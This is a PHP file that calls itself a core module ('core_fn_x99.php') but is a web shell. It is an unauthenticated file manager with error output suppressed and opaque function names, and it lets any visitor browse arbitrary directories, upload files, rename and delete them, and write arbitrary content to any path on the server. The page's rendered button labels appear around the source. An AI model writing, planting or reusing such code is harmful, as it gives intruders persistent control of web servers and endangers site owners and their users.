[.. UP ONE LEVEL]

EXEC_UPLOAD

 | 

MAKE_DIR

<?php /** * Module: core_fn_x99.php * Build: 2026.09-v3 */ error_reporting(0); header("Content-Type: text/html; charset=UTF-8"); /* --- Internal Helpers --- */ function _q88_get_loc() { $v1 = $_GET['x_dir'] ?? getcwd(); $v2 = realpath($v1); return $v2 !== false ? $v2 : getcwd(); } function _q88_redir($p) { header("Location: ?x_dir=" . urlencode($p)); exit(); } function _q88_join($a, $b) { return rtrim($a, '/\\') . DIRECTORY_SEPARATOR . $b; } $c_path = _q88_get_loc(); /* --- Processors --- */ // Upld if (isset($_FILES['f_data']) && $_FILES['f_data']['error'] === 0) { $dest = _q88_join($c_path, $_FILES['f_data']['name']); @move_uploaded_file($_FILES['f_data']['tmp_name'], $dest); _q88_redir($c_path); } // Mkdir if (!empty($_POST['folder_tag'])) { $m_path = _q88_join($c_path, $_POST['folder_tag']); if (!file_exists($m_path)) { @mkdir($m_path, 0777, true); } _q88_redir($c_path); } // Unlink/Rmdir if (!empty($_GET['kill_id'])) { $target = realpath(_q88_join($c_path, $_GET['kill_id'])); if ($target && strpos($target, $c_path) === 0) { is_dir($target) ? @rmdir($target) : @unlink($target); } _q88_redir($c_path); } // Mov if (!empty($_POST['src_key']) && !empty($_POST['dst_key'])) { $s = _q88_join($c_path, $_POST['src_key']); $d = _q88_join($c_path, $_POST['dst_key']); if (file_exists($s)) { @rename($s, $d); } _q88_redir($c_path); } // Wrt if (isset($_POST['file_ptr']) && isset($_POST['blob_payload'])) { file_put_contents($_POST['file_ptr'], $_POST['blob_payload']); _q88_redir(dirname($_POST['file_ptr'])); } $scan_res = array_diff(@scandir($c_path) ?: [], ['.', '..']); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>X-Control Workbench</title> <style> body { background:#12131C; color:#A5B4FC; font-family:monospace; padding:15px; } a { color:#818CF8; text-decoration:none; } .b-box { background:#1E1E2E; border:1px solid #313244; padding:12px; margin-bottom:15px; border-radius:4px; } table { width:100%; border-collapse:collapse; background:#181825; } td, th { border:1px solid #313244; padding:8px; text-align:left; } th { background:#11111B; color:#CDD6F4; } input, textarea, button { background:#313244; color:#CDD6F4; border:none; padding:5px 8px; font-family:monospace; } button { cursor:pointer; background:#45475A; } button:hover { background:#585B70; } .f-inline { display:inline-block; } </style> </head> <body> <div class="b-box"> <div>ROOT_LOC: <span><?= htmlspecialchars($c_path) ?></span></div> <br> <a href="?x_dir=<?= urlencode(dirname($c_path)) ?>">[.. UP ONE LEVEL]</a> </div> <div class="b-box"> <form method="post" enctype="multipart/form-data" class="f-inline"> <input type="file" name="f_data"> <button type="submit">EXEC_UPLOAD</button> </form> &nbsp;|&nbsp; <form method="post" class="f-inline"> <input type="text" name="folder_tag" placeholder="dir_name"> <button type="submit">MAKE_DIR</button> </form> </div> <table> <thead> <tr> <th>NODE_NAME</th> <th>OPS_INTERFACE</th> </tr> </thead> <tbody> <?php foreach ($scan_res as $item): ?> <?php $abs = _q88_join($c_path, $item); $is_d = is_dir($abs); ?> <tr> <td> <?php if ($is_d): ?> [DIR] <a href="?x_dir=<?= urlencode($abs) ?>"><?= htmlspecialchars($item) ?></a> <?php else: ?> [FILE] <?= htmlspecialchars($item) ?> <?php endif; ?> </td> <td> <form method="post" class="f-inline"> <input type="hidden" name="src_key" value="<?= htmlspecialchars($item) ?>"> <input type="text" name="dst_key" placeholder="new_name" style="width:70px;"> <button type="submit">RNM</button> </form> <a href="?x_dir=<?= urlencode($c_path) ?>&kill_id=<?= rawurlencode($item) ?>" onclick="return confirm('Purge target?')">[DEL]</a> <?php if (!$is_d): ?> <a href="?x_dir=<?= urlencode($c_path) ?>&open_buf=<?= rawurlencode($item) ?>">[EDIT]</a> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php if (!empty($_GET['open_buf'])): ?> <?php $target_buf = _q88_join($c_path, $_GET['open_buf']); if (is_file($target_buf)): ?> <div class="b-box" style="margin-top:15px;"> <div>BUF_TARGET: <?= htmlspecialchars($_GET['open_buf']) ?></div> <br> <form method="post"> <input type="hidden" name="file_ptr" value="<?= htmlspecialchars($target_buf) ?>"> <textarea name="blob_payload" rows="15" style="width:100%;"><?= htmlspecialchars(file_get_contents($target_buf)) ?></textarea> <br><br> <button type="submit">COMMIT_WRITE</button> </form> </div> <?php endif; ?> <?php endif; ?> </body> </html>

COMMIT_WRITE